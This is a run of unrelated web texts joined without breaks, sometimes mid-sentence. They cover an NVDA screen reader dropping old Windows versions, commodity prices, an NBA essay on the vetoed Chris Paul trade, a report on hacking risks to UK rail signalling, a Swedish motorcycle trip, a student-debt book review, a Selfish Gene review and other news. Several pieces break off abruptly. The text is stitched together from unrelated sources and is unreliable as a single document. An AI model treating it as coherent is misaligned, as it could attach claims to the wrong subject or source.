It is becoming increasingly harder to maintain support for older Operating Systems while at the same time fixing bugs and adding new features for newer and more secure Operating systems. With only 4% of our users now on these older Operating systems, we feel it is no longer worth the investment, especially now that it is starting to impact the majority of our users. To add to this, Microsoft no longer offers any support for Windows XP, Vista or Windows 7 with no Service Pack. This means that users are running these Operating Systems at great risk to security. Many other mainstream applications including browsers such as Mozilla Firefox and Google Chrome have already dropped support for these older Operating systems.
NV Access acknowledges that this decision will be unpopular to some, and also understands that there will be users who will not be able to switch to a newer Operating system. Therefore NV Access will continue to offer the NVDA 2017.3 download on its website, even once future NVDA versions are published.
Increasing the minimum Operating system version requirement for NVDA allows us to focus efforts on the stability and security of NvDA, by leveraging features and optimizations both in the Windows Operating System itself, and the modern development tools Microsoft provides.
For those in the community who choose to run snapshot or rc versions and provide feedback, from today these builds may no longer run on older Operating Systems. In the coming days, these snapshots will refuse to run on anything below the minimum Operating System version, and will display a Windows dialog alerting the user to the fact. The NV Access update server is now already offering NVDA 2017.3 to any user running a snapshot or rc version on these older Operating System versions and will not offer any future NVDA version |
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Meanwhile, precious metals have shot up amid fears over the debts and loose monetary policies in Europe and the US.
Image caption The price of palladium - a precious metal used in catalytic converters - rose 94% this year
Palladium - a precious metal that is also used industrially in the production of car exhaust catalytic converters - rose 94% this year.
"It is still a positive picture for metals next year," said Darren Heathcote, head of trading at Investec in Sydney.
"There is sufficient demand from investment perspective to maintain a relatively bullish trend, in gold in particular."
Other commodities which are also well up include wheat, which rose 44% this year, as well as corn and soybean.
The long-term trend of rising demand for these crops is part of the reason for such strong price growth, but so too were short-term supply problems this year due to poor weather conditions, including a drought that forced Russia to suspend wheat exports.When news came out Friday that Lamar Odom reportedly has a bad drug problem, Lakers fans, including myself, were a bit blindsided, yet not entirely surprised. While Odom never showed signs of someone who could have a drug addiction, there’s no doubt something happened in his life after he demanded the Lakers trade him late in 2011. His stint with the Mavericks failed miserably, then showed overweight and out of shape to the Clippers. To his credit, he worked hard, got himself the closest he’d be to the 2010 Lamar Odom we’d seen in a while, and was a productive member of the squad. However, signs started popping up when no one, including the Clippers themselves, seemed to want Odom on their squad.
It’s easy to sit back and wonder why? Why would someone who was so famous, doing so well, coming off a Sixth Man of the Year award, crash land so badly? Or maybe, what if? You see, Odom’s anger at the Lakers that led to his demanding of a trade stemmed from his inclusion in the vetoed Chris Paul deal that brought the All-Star point guard to the Lakers and sent Odom to the Hornets. From that moment on, Odom, who was always an emotional player and person, felt betrayed by the Lakers organization and, well, as we’ve found out, it all went downhill from there.
That single vetoed trade forever changed the landscape of so many lives, franchises, and cities. Because of David Stern’s oft-debated nullification, the Clippers became relevant, the Rockets did not land Pau Gasol, meaning they’re not there when the Thunder and James Harden come calling. The Lakers took a long, frustrating downward spiral and the Hornets, instead of fielding a competitive squad, bottomed out and drafted Anthony Davis. None of this is even taking into account any of the indirect effects; would the Thunder have traded Harden at all, would the Lakers have traded for Dwight, would Dwight have stayed in LA? To say this one decision drastically altered the landscape of the NBA would be a vast understatement. It changed lives, both negatively and positively.
For the Lakers, the consequence of this failed trade are hard to quantify. Obviously, missing out on a superstar like Paul, who would have eventually taken the torch from Bryant and become the new face of the Lakers, was hard to recover from. Having to face two crucial players in Gasol and Odom they had just nearly traded away couldn’t have been easy, considering Odom refused to rejoin the organization. Fortunately or not, Gasol was more familiar with the rumors of his departure on top of being an unwavering professional, meaning he came back into the Lakers fold without any noticeable discontent with the front office. Worse yet, the pieces the Lakers dealt away in order to acquire Howard weren’t involved in the Paul trade, meaning, hypothetically, the duo could have joined Bryant in Los Angeles and carried the Lakers to future success. Paul and Howard’s friendship is well documented, which could have led to an extended partnership in the purple and gold.
Across the hallway, the Clippers were one of the beneficiaries of the veto, swooping in and landing the superstar for what would become next to nothing. Pairing Paul with the athletic Blake Griffin and DeAndre Jordan led to many a highlight reel play, as well as much success. Without a doubt, the last two seasons Los Angeles has been Clipper Town, no longer Laker Land. The Clippers rise to relevance coincides with the Lakers fall from grace. Many players have jumped ship and played roles in the Clippers success, namely Matt Barnes and Odom last season. Whereas we see the Lakers have dozens of question marks regarding their future, the Clippers quietly sealed theirs up with the resigning of Paul, setting them up for another half-decade of success.
The Rockets benefited from Stern’s veto, but not until down the road. Had the proposed trade gone through, the Rockets would have parted with Luis Scola and a vital first round draft pick for Gasol. For cap purposes, the deal would likely have forced the Rockets to include a couple throw-in players of some sort. As a result, they wouldn’t have had (A) as many assets for future blockbuster deals and (B) as much cap space to take on contracts. Would they have completed the Harden deal after acquiring Gasol? Would they have had the assets to convince the Thunder to make a deal for Harden? And if the proposed trade goes down, Howard likely has no interest in Houston, instead focusing his sights on LA, where his services are desired and a friend (Paul) just joined the team. Nevertheless, with or without James Harden, their cap space for 2013 would be much more limited, possibly to the point of not being able to offer max contract, meaning they don’t get their Harden-Howard pairing heading into next season.
Determining whether the Hornets benefited or suffered from the veto isn’t as clear cut. On one hand, had the trade went through, they would have trotted out a Goran Dragic-Kevin Martin-Trevor Ariza-Scola-Gasol starting unit with Emeka Okafor, Jarrett Jack, and Marco Belinelli off the bench. That’s certainly a playoff team, but not a title-contending team and a core of players with a limited window for success. Instead, they took on young players in Al-Farouq Aminu and Eric Gordon, bottomed out without much contribution from either, and got themselves a budding star in Anthony Davis, nabbed Tyreke Evans and Jrue Holiday this off-season, but are still a couple years away from being a truly talented squad. Was bottoming out for a string of high draft picks a better option than fielding a competitive, playoff team for 2-3 years?
The move impacted the league indirectly in more ways than can be written. The reputation of Stern took a big, negative blow. Paired with the lockout which had just ended and Stern went from great NBA commissioner to plotting, evil-minded, stubborn old man in a few short months. Despite growing the league into the global empire it is now, for Lakers fans, Stern will long be remembered for the Chris Paul trade over everything else. After shaping the new Collective Bargaining Agreement (CBA) in a way to make it more difficult for big market teams (Lakers) to land superstars (Paul), Stern saw that very thing unfold in front of him just days after the lockout ended. We may never know what Stern’s intentions were that fateful day; whether he truly vetoed the trade as owner of the Hornets, or simply used that excuse to send a message to owners and general managers around the league, which is exactly what did happen. Had the Lakers walked right out of the lockout and brought Paul from small market New Orleans to huge market Los Angeles, would the lockout have really solved anything? Would the mindset of other GMs have changed? Would the lockout be seen as a waste, with teams continuing business as usual despite new CBA rules?
In a different universe, or more simply in a different time and state of the league, Stern might approve of the deal on behalf of the Hornets and as NBA commissioner. His ironclad fist that smashed down that day, however, shaped the league in an entirely different manner. He sent four different franchises into four directly different paths, for better or for worse. Worse yet, he sent the lives of various players into vastly different directions, with Odom by far the most glaring example of that. It’s certainly not right, nor fair to point the finger at Stern for Odom’s alleged troubles since the veto, and not what I’m suggesting you do either. But one has to wonder, how would Odom’s life, the players lives, and the state of the NBA be different if Stern had not so effortlessly rejected that trade on that fateful evening.Manchester City midfielder David Silva has praised City winger Raheem Sterling extensively, tipping the youngster for great things in his career.
Sterling has scored eight goals for City so far after his £49m summer move from Liverpool.
And Silva has been highly impressed with the form shown by the 21-year old but believes he can reach an even higher level.
He is quoted by the Mirror as saying:
Raheem is technically very gifted and he’s got a lot more to come. He’s going to make history. Apart from his ability, it’s also his personality, which will help him a lot. He’s just turned 21, so he’s going to improve and get more experience and read the games a lot better, so he’s got a lot more to prove how good he is.
It’s very pleasing the club are bringing in the quality like Raheem and Kevin De Bruyne. They’re young players, fresh players and they bring that onto the pitch, too.
The club failed to replicate the success of Manuel Pellegrini’s debut season last term, ending the 2014/15 trophyless.
That led to a whole lot of investment in the summer and Silva is desperate for silverware this time around – with the club still currently in all four competitions after a series of injury troubles.
Silva said:
We didn’t win anything last season, but the year before we won two, so the aim in 2016 is to win titles. For me, it’s not difficult [to maintain hunger for success] because I want to win, win and win. I don’t know what happens with other players and what’s in the head of other players but, for me, it’s just winning.
Anfi ambassador David Silva was unveiled as a “Secret Santa” in Manchester City centre last week, giving out Christmas gift holidays to surprised local residents. Anfi is a five-star resort in Gran Canaria. For more information visit www.anfi.comHackers have the ability to tap into a new rail signal system being trialed in the UK and cause oncoming trains to crash into one another at full speed, an internet security expert has warned.
A horrible accident is “waiting to happen” as the new digital system intended to make train lines safer could easily be exposed to malicious software and accessed by terrorists.
READ MORE: Britain'most cyber-attacked country' in Europe - report
Experts fear the new system’s “lack of security” has the capability to cause carnage around the UK, especially if they are hacked by the wrong people.
Professor David Stupple, an internet security expert from City University, told the BBC he predicts the new system will cause a “nasty accident” involving terrorists as they can “easily expose the new mainframe.”
“It’s the clever malware that actually alters the way the train will respond,” he added.
The malware could perhaps “tell the system the train is slowing down, when it’s speeding up,” he told the broadcaster.
However, Stupple says the government “aren’t complacent” as they are completely aware of the dangers of the trails. “They are worried about it,” he added.
Stupple highlights the government’s awareness of the dangers, and claims they are working on measures to prevent an attack occurring. “Safeguards are going in, in secret,” he said.
READ MORE: DEA spending millions on spyware from foreign cyber vendors - report
However, despite the government’s efforts to prevent hacks, it is still possible for terrorists to “get around them,” he added.
Network Rail, which is in charge of the train line upgrade, expects it to be fully operational by the 2020s. It confirms it has acknowledged the potential threat.
A spokesperson for National Rail told the BBC they know the risk of a cyber-attack “will increase as we continue to roll out technology across the network.”
The spokesperson says National Rail will “work closely with the government, the security services, our partners and suppliers in the rail industry and external cyber-security specialists to understand the threat to our systems and make sure we have the right controls in place.”Since me and Timmy are planning a camping trip in two weeks, where I will drive back to Belgium leaving Sweden behind for the near future, we felt like we needed to go on a test trip to see how the gear and bikes hold up, just like my friends did recently.
The night before we got started, I had offered Lynette and Curt, two Australian riders on their way around the world, a place to sleep at my house.
They had asked on the Horizons Unlimited Facebook group, and I thought it would be really interesting meeting them. I got to ask a lot of questions about things that seem vague to me, like shipping a motorcycle, or border crossings. Also turns out they are from Brisbane, and will be back there for a short while by the time I’m heading there in October, what coincidence.
They’d done 45.000km so far on their Yamaha XT660’s, without much problems at all save for a little accident. Not even a flat tire! I have to admit those XT660’s seem extremely reliable; I test rode one myself however and it just felt a bit heavy and slow for me (180kg with 48hp)…
When they were leaving the next morning, things got delayed a bit, so I only got to meet up with Timmy at 11. Then when we left, we got another problem as we were only 200meters on the motorway…
That 10-meter long skidmark you see is where Timmy’s front brake locked up on the middle of the motorway. He ended up standing between the cars with a front wheel that was completely stuck. I heard him shout “my brakes are stuck!” through the intercom, but had to do a 10 minute detour since he was behind me, before I could get to him and help.
Turns out the cool orange brake levers he bought, were not fitting properly, causing the brake to drag, heating the system up and eventually jamming! We fixed it with some Loctite and duct-tape, a fix that fortunately held up for the rest of the weekend.
After an hour of asphalted roads, with some dirt in between (including the GPS trying to send us through an active military area), we got to the trail we were planning to follow. Called ‘Sverigelänken’ or ‘The Sweden Link’, it’s a 2000km gravel trail from Uppsala to Kiruna. We were only going to do a small part up to Torsåker and then turn back.
As always, whn following someone else’s routes, we come across some surprising obstacles. This had already looked fishy when planning, with the GPS claiming there was no road at this spot. I’d seen some cool videos on Youtube of Lyndon and Lukas going around the world, doing this stuff, so I figured ‘how hard can it be, and tried it. I kind of chickened out and didn’t want to go in the real mud, instead going into the bushes on the side. That turned out to be a big mistake, I got stuck after 2 meters.
We spent half an hour dragging and lifting my bike out, in ankle deep swamp water, with lots of bugs around us on quite a warm day, but got it out eventually. In the process I’d sprayed my entire bike with swamp water, moss and turf. I found out that my boots are really, perfectly waterproof though (unlike Timmy’s)!
We then turned back and took the 1km straight asphalt road shortcut that avoided this whole thing.
We came across some more cases where the route was changing: they were building a huge road that the trail cut across several times. Too bad this will all be asphalted soon, but those big rocks are very hard to ride on on the other hand.
The light got really nice by the evening, so we stopped for photo’s a few times.
Eventually we got to the Hovnäs Ferry, which was this cool little ferry that still ran on cables. You pressed a button, a bell rang and an old guy slogged out of his little hut to start the boats diesel engine. You could only pay the fee in cash, and the ferry only ran until 7 (we got there at 6:30). I loved it, so much more interesting than the big ferries, and it only fits one car at a time. After the ferry we had to decide to pick the shorter route, or keep going on the trail for the longer route. Timmy was really into it so he suggested to go long.
The riding was good, the light was great and we came past some really nice spots. In hindsight, we really should have stopped and camped here, as the spot was so perfect. But we felt like we could keep going a bit (it was almost 8pm by then). We ended up looking for a spot by another lake around 10pm, in the dark, and only finding private areas where people owned cabins. It got darker and darker until we decided to try one last trail into the forest, past a closed barrier on a very overgrown track.
That turned out pretty interesting: the road was a dead end, but there was a cabin with an open spot. The cabin turned out abandoned for a while (just my luck, haha). This picture is from the next morning, as we put the tent up and cooked in the pitch dark!
It had been abandoned and uncared for for so long, that the roof had collapsed.
That night, we also found out there was a shed behind it, that was open and in much better condition.
Even better was that there were some tools which we used to create a campfire. The whole inside felt very 60’ies, with magazines and items from a long time ago.
I’d brought porridge, but had forgotten sugar, jam, or anything to make it less bland (lesson learned). So Timmy picked blueberries in the forest around us; as is typical in Sweden this time of the year there were tons. The porridge turned out quite alright with those!
The next days riding turned out just as good, if not better than the Sweden Link trail. Proves again that forcing a route onto small roads always works out nicely here in Sweden (but does take a fair bit of work).
When we got near Gimo I started recognizing roads and places from last year’s gravel course I took around there (that started all of this obsession properly). We came across an old ruin I’d seen before back then, but couldn’t stop since I had to keep up with the group.
I started to realize we’d underestimated the distance for that day again, so we cut short to a road I knew would be great. At that point, after one and a half days, our intercom system batteries started to go empty. I’d forgotten to mount my USB charger on the bike (another lesson learned) so we had to use Timmy’s bike for a while to bring mine back.
That good road turned out even better than I thought: we managed to string together more than 35 km of gravel with only about 200m of asphalt in between two halves, an absolute record. The area is called ‘Pansarudden’, for the park it goes through. It’s all up and down with winding corners, the only downside is there are a bit more cars than on your average dirt road, so we had to be a lot more careful and got stuck behind a slow car at the end.
After taking a break at 5pm in Uppsala, where we had a BBQ with some friends of mine, we set on again. For some reason we went on some much sketchier roads than before, some hadn’t seen traffic in months I think, some where even just a long grassy overgrown opening through the forest where we ended up in the backyard of some farm deep in the forest. The owner didn’t seem to mind.
As it often goes when you get closer to cities, we encounter some road barriers. Often there’s tracks besides them that we can use to get around, if not it’s easy to get past them 95% of the time, as Timmy demonstrates here. There’s always the interesting question what the other barrier, on the other end of the road will look like.
It mostly tends to be just as easy, but we came upon this one, that was pretty hardcore. Logs, rocks, 2m deep ditches on both sides. There was just a 1m opening into the forest on one side. We scouted it by foot for a few minutes until we found a way through, over tree roots and around trunks. It was by far not as hard as our little swamp mishap though!
We ended up riding in the dark for a while until we made it back to Stockholm. We were partly over enthousastic (ignoring most of my shorter options I had pre-planned), left way too late, lost time and I also have trouble estimating time and distances since the new Google Maps doesn’t display that info anymore when creating routes (how handy). We must have done 700km on very small roads over two days.
The next day I had one of the worst headaches of my life: I could barely function and it took a whole day of pills, water and energy drinks before I felt better in the evening. Lessons learned again: drink more, ride a bit less!This coming weekend the liberal Zionist organization J Street is holding its annual conference in Washington, aimed at saving the 65-year-old Jewish state by ending its 47-year-old disease– the settlement project– and as I have been making predictions lately about the rage on the right toward any perceived enemies of Israel, I wanted to share this video I saw recently when I was googling Peter Beinart’s name. Beinart is one of the main speakers at J Street this weekend, an avowed idealist who has led the discussion inside the mainstream Jewish community by asserting that liberalism and a Jewish state can be reconciled. Lately he has challenged the American Jewish community to make way for more Palestinian voices, because he sees the increasing toughness/stupidity of the American Jewish community, the result of tying itself to a colonial discriminatory project.
A year or so back, Beinart came out for “Zionist BDS” — a boycott aimed at the settlements, aimed at pressuring the Israeli government to pull back the colonies in order to “save Israel.” I would argue that Beinart’s call has been ineffective; Israel has only increased its settlements.
The above video was apparently crafted by some ass in response to Beinart’s boycott call. I have no idea who put it together; I’m guessing it’s a hard-right Zionist. You will see that the video uses the most rebarbative and disgusting language and imagery in arguing that Beinart is a Nazi and Ku Klux Klanner and anti-Semite, because he called for a limited boycott. Someone put a lot of effort into the production, burning a cross and an Israeli flag or two.
But Peter Beinart puts an Israeli flag in his son’s bedroom so the kid will grow up to love Israel as he does… You’d think he’d be immune from this sort of attack? I think it’s indicative of the demons that exist inside the rightwing Zionist community– here’s another rightwinger calling Beinart a Trojan horse in the temple— and that the demons are sure to come out in force, dragging their knuckles, if Israel is ever really challenged, by anyone.PRESSURE is mounting on Dragons coach Paul McGregor to make next Saturday’s local derby against the Sharks Benji Marshall’s last game for the under-fire NRL club.
The Daily Telegraph can reveal there is a push coming from within St George Illawarra for McGregor to follow the lead set by Jason Taylor, and make the tough call on Marshall’s struggling career like Taylor did with Robbie Farah at the Wests Tigers.
With the Dragons now out of the running for a top-eight finish following Thursday night’s 12-8 loss to Brisbane, McGregor is being urged to consider giving both Drew Hutchison or Kurt Mann a go in the halves over the final rounds so the club can get a head start on 2017.
UNDER PRESSURE: Benji battling after forgettable night for Dragons
ANALYSIS: Five things we learned from Broncos v Dragons
The Saturday Telegraph understands McGregor is reluctant to make the change given his strong relationship with Marshall. But unless there is a dramatic form reversal by the team and the veteran half against Cronulla, Marshall will struggle to survive the rest of the year.
After missing out on signing Corey Norman, Luke Keary and Trent Hodkinson, there is a feeling within the Dragons that Hutchison and Mann deserve a chance to push their claims to be Marshall’s long-term successor.
media_camera Benji Marshall had a night to forget against the Broncos. Picture: Mark Evans
After snubbing the Dragons’ $300,000 offer that was put to him earlier in the season, The Saturday Telegraph understands there is now no chance Marshall will be at the club next year.
While the 31-year-old wants to play on, so far no rival club has put up its hand to throw Marshall a lifeline.
Marshall’s forgettable performance on Thursday night certainly won’t help his cause.
While Marshall still has McGregor’s support, the problem for the coach is that if he doesn’t make a change and the Dragons’ five-match losing run continues, it could end up being his own job on the line.
McGregor has a contract for next year but the Dragons’ inability to score points continues to place huge pressure on the head coach.
McGregor was in talks for a contract extension earlier in the year but that has now been put on hold.
media_camera Kurt Mann has a background playing in the halves.
Fans will argue skipper Gareth Widdop has been equally as disappointing. But the fact Widdop has a year to run on his contract leaves the Dragons with no alternative but to stick with him for now.
Marshall’s position is not nearly as secure. Hutchison, 21, is a former Junior Kangaroo and captain of the NSW under-20s team last year where he won a man of the match award.
A big body and cool under pressure, the local junior from Albion Park played two games in the NRL last year but so far this year hasn’t been spotted in the top grade.
Mann also has a background playing in the halves and was originally signed by Craig Bellamy from Newcastle under-20s to be groomed as the long-term replacement for Widdop at the Storm.In 1968, US forces in Vietnam were faced with their biggest battles yet: On January 31,1968, Viet Cong and NVA forces violated the Tet cease-fire and launched the Tet Offensive all across South Vietnam. US Army and Marines plus ARVN units, fought 80,000 enemy in bloody battles as they attacked over 100 cities including every provincial capital, and Saigon itself. US and ARVN forces repelled the communists in weeks, after inflicting very heavy losses on VC/NVA forces.Simultaneously the NVA surrounded the US Marine base and airfield at Khe Sanh. NVA artillery, rockets, and mortar fire were placed on Khe Sanh with the intention of inflicting another Dien Bien Phu on the Americans. Instead President Johnson ordered "Operation Niagara", one of the heaviest air bombing campaigns in history, in order to destroy the enemy and keep the base in American hands.Does Student Debt Matter?
In Game of Loans: The Rhetoric and Reality of Student Debt:, the Brookings Institution and the Urban Institute team up to debunk the entire idea of a student loan crisis. Rejecting media and activist “rhetoric” about a generation of indebted college grads, Akers and Chingos argue straightforwardly that “there is no systemic student loan crisis.” The contention, if correct, undercuts some of the main narratives surrounding student debt. One should therefore take it seriously, especially since parts of it may even be correct.
The argument here is that we tend to be misled about the general trend by focusing too much on unrepresentative cases. News stories about student loans almost exclusively feature borrowers with very high debt levels. But these borrowers are atypical. In fact, say Akers and Chingos, not that many students actually take out loans (one third of dependent undergrads leave school with no debt, along with one quarter of independent undergrads), and loan balances are not that high (58% of dependent undergrads leave with less than $20,000 in debt, the number for independent undergrads is around 20%). Graduate students tend to push up overall averages because there are no limits on federal borrowing toward graduate degrees, but those with high grad school debt loads tend to have the highest incomes. Lawyers pay a lot to go to law school, but lawyers are still filthy rich compared to everyone else and can generally afford their loan payments.
Akers and Chingos’ strongest argument for the no-crisis theory is this: for most people, going to college is still a good investment. Most student loan borrowers reap a sufficiently large financial benefit from going to college to make up for their loan burdens. In the terminology of the housing crisis, most students are not “underwater” on their student loans, since the income gains of a college degree more than cover the debt payments. Because most students will pay back their loans, say Akers and Chingos, there is no such thing as a “crisis.” And that is reassuring. For anyone fretting about student loans leading to a sudden economy-wide catastrophe on the order of 2008, a read of this book can put their worries to bed. (At least, for the moment: even if college remains a good deal right now, this could change at any moment, and given data gathering and reporting practices by the Department of Education, we might not realize things have changed until it’s too late.)
But when it comes to student loans, economic collapse was never what people should have been fretting about in the first place. The problem with the system is not that it’s unsustainable, but that it causes enormous suffering to the most vulnerable student borrowers, and is racially biased. Crises can come in many forms, and one can be urgently concerned about student debt without fearing that it is about to send the economy tumbling.
In fact, Akers and Chingos do recognize the existence of problems beyond collapse. Their last two chapters are dedicated to “The Real Problems in Student Lending” and “Solving the Real Problems.” But the issues are given an economist’s birds-eye treatment, and treated as wrinkles rather than, well, crises. Their modest solutions aim at making the student lending system “fairer, better targeted, less risky, and more efficient.” (If that framing makes you want to stop reading this article, by all means do not read the book.)
As presented by Akers and Chingos, the actual problems with student loans are as follows: while debt remains great for most people, lots of students (and their parents) are making bad investments in education and ending up underwater on their student loans. Lots of those students end up in default, usually unnecessarily since they could be on income-driven repayment plans. Many of the students in default have comparatively small loan balances, but have very few economic prospects to dig their way out from even these small debts. They largely attended for-profit colleges or community colleges and either didn’t complete their degrees, or completed them only to find they are essentially worthless.
Those are indeed some real problems. Akers and Chingos rightly turn attention away from the NYU graduate student with $200,000 in debt and toward the first generation college student ITT Tech grad in default on less than $10,000 of federal debt. It’s natural that elite media outlets might focus their human interest stories on the travails and misfortunes of elites, but the deepest economic pain is elsewhere.
But an even more important aspect, one Akers and Chingos barely pay attention to, is that student loan hardship varies disproportionately by race. Compared to white students, students of color are verifiably more likely to take out student loans, more likely to take out more student loans, more likely to attend for-profit schools, and more likely to drop out before getting a degree. They also have less family wealth and resources to draw on for help and struggle more in the labor market. Though you wouldn’t know it from this book, student loan issues are racial justice issues. That makes it inexcusable to conclude that there is “no crisis.”
We can see this clearly if we apply the same logic to the housing crisis. Imagine for a moment that the housing collapse had remained (as it was in the beginning) confined solely to subprime mortgages, and it turned out that only the very riskiest of the loans were a problem. Imagine that the defaults, the unemployment, and the foreclosures were geographically contained in the areas with the most subprime loans, neighborhoods with primarily Black and Latino residents. (Areas, remember, where lenders and brokers pushed the worst loans on borrowers who qualified for better, driven by investment bank demand for risk and profit.) In the midst of this hypothetical subprime housing crisis, Brookings Institute economists might release books analyzing whether we were dealing with a “systemic” problem, and whether there was a “crisis.” They might fret about whether the problem would spread to the rest of the economy. And were those economists to find that most people have safe, affordable mortgages, and that most homes are not underwater, they might conclude, like Akers and Chingos, that there’s no “systemic” problem. By this, they would mean that the misery created by the system will likely be geographically and demographically contained to the intended victims. It won’t creep through those bold red lines on the lenders’ maps. Note, then, what the logic deployed by Game of Loans does: it views the question “Is there a crisis?” as synonymous with “Are people suffering who are not poor and/or Black and Latino?” Something becomes a crisis when it affects people other than those at the margins; until then, the problems are “unrepresentative” and atypical. And so long as it remains that way, then no matter how bad it may be for those affected, it remains a mere “problem,” one that should be dealt with through moderate incremental policy reforms.
This kind of reasoning ought to be morally unacceptable. The fact that only the people pushed into predatory loans are suffering the consequences shouldn’t let anyone sleep easy. Taken seriously, this approach would allow any problem affecting Black people to be treated as non-systemic, and therefore relatively non-problematic.
What do Akers and Chingos think the problems with student loans are? Their main concern is that some (but not most) students are making bad investments in their education. They end up in debt trying to get degrees that aren’t worth as much as they cost. This is because they unwisely choose bad schools, and end up underwater. Or they do choose schools wisely, but simply get unlucky in the economy and end up underwater nevertheless. Impossible debt burdens, then, do exist. But they come about through a mixture of bad decision-making and bad luck.
The bad luck component is unfixable, but Akers and Chingos believe that bad decision-making can be discouraged. Students could make better decisions about their education if the federal government gave them more information about the returns they can expect on their investments by choosing different schools and programs. One can imagine something like the information boxes on credit card or loan applications required by the Truth In Lending Act (TILA). In your college application packet would be some numbers representing the graduation rate, average income, and perhaps the loan repayment rate of graduates of that school or program. Those numbers could even be bold and in really big font. All of which is good. Telling students more about what to expect is obviously better than telling them nothing.
Imagining, however, that it will make a difference in student outcomes is an economist’s pipe dream (in fact, the sort of solution that only an economist could ever think would be helpful). The problem is the same as with all consumer disclosures: they don’t really work. People don’t read them. Or people read them and don’t understand them. Or people read them and do understand them, but still have an unrealistically rosy picture of how the future will go for them (everyone thinks they’re the exception, nobody imagines they’re average). People routinely sign contracts for auto loans with big, clear, bold disclosures indicating that they will end up paying more than the price of the car in interest and finance charges alone. In fact, probably everyone reading this article has signed several contracts with big, bold, clear TILA disclosures on them. Anyone remember spending a lot of time thinking about them? Anyone use them to shop around? People see the warnings, they sign on the dotted line anyway.
The informational solution also ignores the effect of marketing. The schools with the worst statistics already spend enormous amounts of money on extremely effective advertising campaigns, which draw prospective students’ attention away from their well-known abysmal records (or from the fact that they’re under investigation by the federal government). The ad dollars are well-spent. Until the feds shut down the the Corinthian college network in 2015, any student at one of the member Heald Colleges could tell you their slogan: “Get in. Get out. Get ahead.” The Art Institutes uses “The hardest thing you’ll ever love.” The University of Phoenix broadcasts truly inspiring commercials showing extremely dedicated students working late to do school work on top of their family and job responsibilities, fading to black with their new catchphrase: “We rise.” It’s legitimately powerful—much more so than some dry graduate income statistics slipped into a registration folder could ever be.
Akers and Chingos’ other solutions suffer from the same basic defect—they see the problem as market imbalance and resulting inefficiency. Because economists fixate on information, the proposals frequently focus on making the system less confusing rather than less vicious. They want to streamline federal lending to make it less complicated, and make repayment options clearer so that it’s easier for borrowers to enroll in income-driven repayment.
One of their suggestions is to automatically enroll graduates in income-driven repayment plans. But heinously, and bafflingly, they suggest getting rid of the government loan forgiveness programs on the grounds that colleges might be incentivized to raise prices if borrowers will be less worried about affording monthly payments. In doing so, they accept (but do not acknowledge that they accept) a world in which a lot of people die with massive student debt balances that have started small and grown from interest over decades, with no possibility |
“could make everything about life fall into place, in the heart as well as in the brain”. His book would extol, he wrote, a “gene’s-eye view of evolution”.
It was Dawkins’s simple, but profound, proposition that “the fundamental unit of selection, and therefore of self-interest, is not the species, nor the group, nor even, strictly, the individual. It is the gene, the unit of heredity.” He acknowledged that this might sound “at first like an extreme view” but proceeded to explore all the major themes of social theory in the light of this idea, conducting his survey in a highly readable and entertaining way. With chapters such as “Genesmanship”, “Battle of the Sexes”, and “Nice Guys Finish First”, he tackled concepts of altruism and selfishness, the evolution of aggressive behaviour, kinship theory, sex ratio theory, reciprocal altruism, deceit, and the natural selection of sex differences. In hindsight, it seems appropriate that The Selfish Gene should have been published soon after The Joy of Sex and The Female Eunuch.
You can call me a big bad wolf but not a bore, says Richard Dawkins Read more
From his first page, Dawkins unfolds an exhilarating and combative narrative of the gene’s-eye view of life with infectious brio. The Selfish Gene, he declares, should be read “almost as though it were science fiction. It is designed to appeal to the imagination.” Part of the book’s compulsion derives from Dawkins’s appealing certainty that he is exploring a scientific world in which “we are survival machines – robot vehicles blindly programmed to preserve the selfish molecules known as genes”. This insight, he reports, is “a truth which still fills me with astonishment”.
Much of this book’s appeal lies in its author’s barely suppressed excitement, prose that bubbles over with the intoxication of a brilliant new approach. He buttonholes his readers; he dazzles with paradox and provocation. In an introduction to a later edition of The Selfish Gene, Dawkins describes its gestation: it was a book written in extremis (the power cuts and industrial strife of the early 1970s) and, as he says, “in a fever of excitement”. For the young author, it was, in hindsight, “one of those mysterious periods in which new ideas are hovering in the air”.
So zeitgeisty was it that, from first publication, the reception of The Selfish Gene was highly favourable. Initially, it was not seen as a controversial book, Dawkins wrote later. “Its reputation for contentiousness took years to grow.” Eventually it would become regarded as a work of extreme radicalism. But, he goes on, “over the very same years as the book’s reputation for extremism has escalated, its actual content has seemed less and less extreme”.
Richard Dawkins: 'I don't think I am strident or aggressive' Read more
This is undeniable: while The Selfish Gene grew out of orthodox neo-Darwinian ideas, it actually expressed Darwinism in a way that Darwin himself might have welcomed. Rather than focus on the individual organism, it looked at nature from the perspective of the gene. It was, claimed Dawkins, “a different way of seeing, not a different theory”.
It also addressed itself to “three imaginary readers”: the generalist, the expert and the student. This was a high-low cohort that swiftly propelled it on to bestseller lists worldwide. Moreover, in keeping with the temper of the times, The Selfish Gene announced itself, from the first, as “a book about animal behaviour”, arguing that “we, like all other animals, are (survival) machines created by our genes”. For Dawkins, “we” did not mean just people. He wanted his description to embrace all animals, plants, bacteria and viruses. “The total number of survival machines on Earth,” he wrote, “is very difficult to count.” Even the total number of species is unknown, he conceded. “Taking just insects alone, the number of individual insects may be a million million million.”
Dawkins – in a style that would recur in later polemical books such as The God Delusion – was never less than comprehensive in his ambitions. Here, he used “survival machine” rather than “animal” because he wanted to encompass all plants and humans, too. His argument should apply, he said, to any and all “evolved beings”.
Orthodox neo-Darwinian he might be, but in chapter 11, he coined an idea about cultural transmission that quickly went viral within the global intellectual community: the meme, or replicator, a unit of imitation. Examples of memes include tunes, idea, catchphrases, clothes fashions, ways of making pots or of building arches: “Just as genes propagate themselves in the gene pool by leaping from body to body via sperms or eggs, so memes propagate themselves in the meme pool by leaping from brain to brain via a process which, in the broad sense, can be called imitation.” Shortly after this analysis, Dawkins characterised “God” as a meme. Thus, pages 192-193 of The Selfish Gene might be said to encapsulate most of Richard Dawkins’s brilliant career, in which the theory of evolution came to offer such a satisfying and complete explanation for the complexity of life on Earth that there could no longer be a place for the possibility of God’s design.
A signature sentence
“A monkey is a machine that preserves genes up trees, a fish is a machine that preserves genes in the water; there is even a small worm that preserves genes in German beer mats. DNA works in mysterious ways.”
Three to compare
GC Williams: Adaptation and Natural Selection (1961)
EO Wilson: On Human Nature (1978)
WD Hamilton: Narrow Roads of Gene Land, Vol I (1996)
The Selfish Gene is published by Oxford University Press (£8.99). Click here to order a copy for £7.19Today Shanghai Composite, China's benchmark stock index sank like stone, making the move second largest since 2000.
Today Shanghai composite dropped by 8.48% to 3725 in closing. It was down as much as 8.6% at low.
Very few stocks were spared today. Blue chips, including Sinopec, China Life Insurance, Bank of Communications were down by 10 per cent, the daily trading limit.
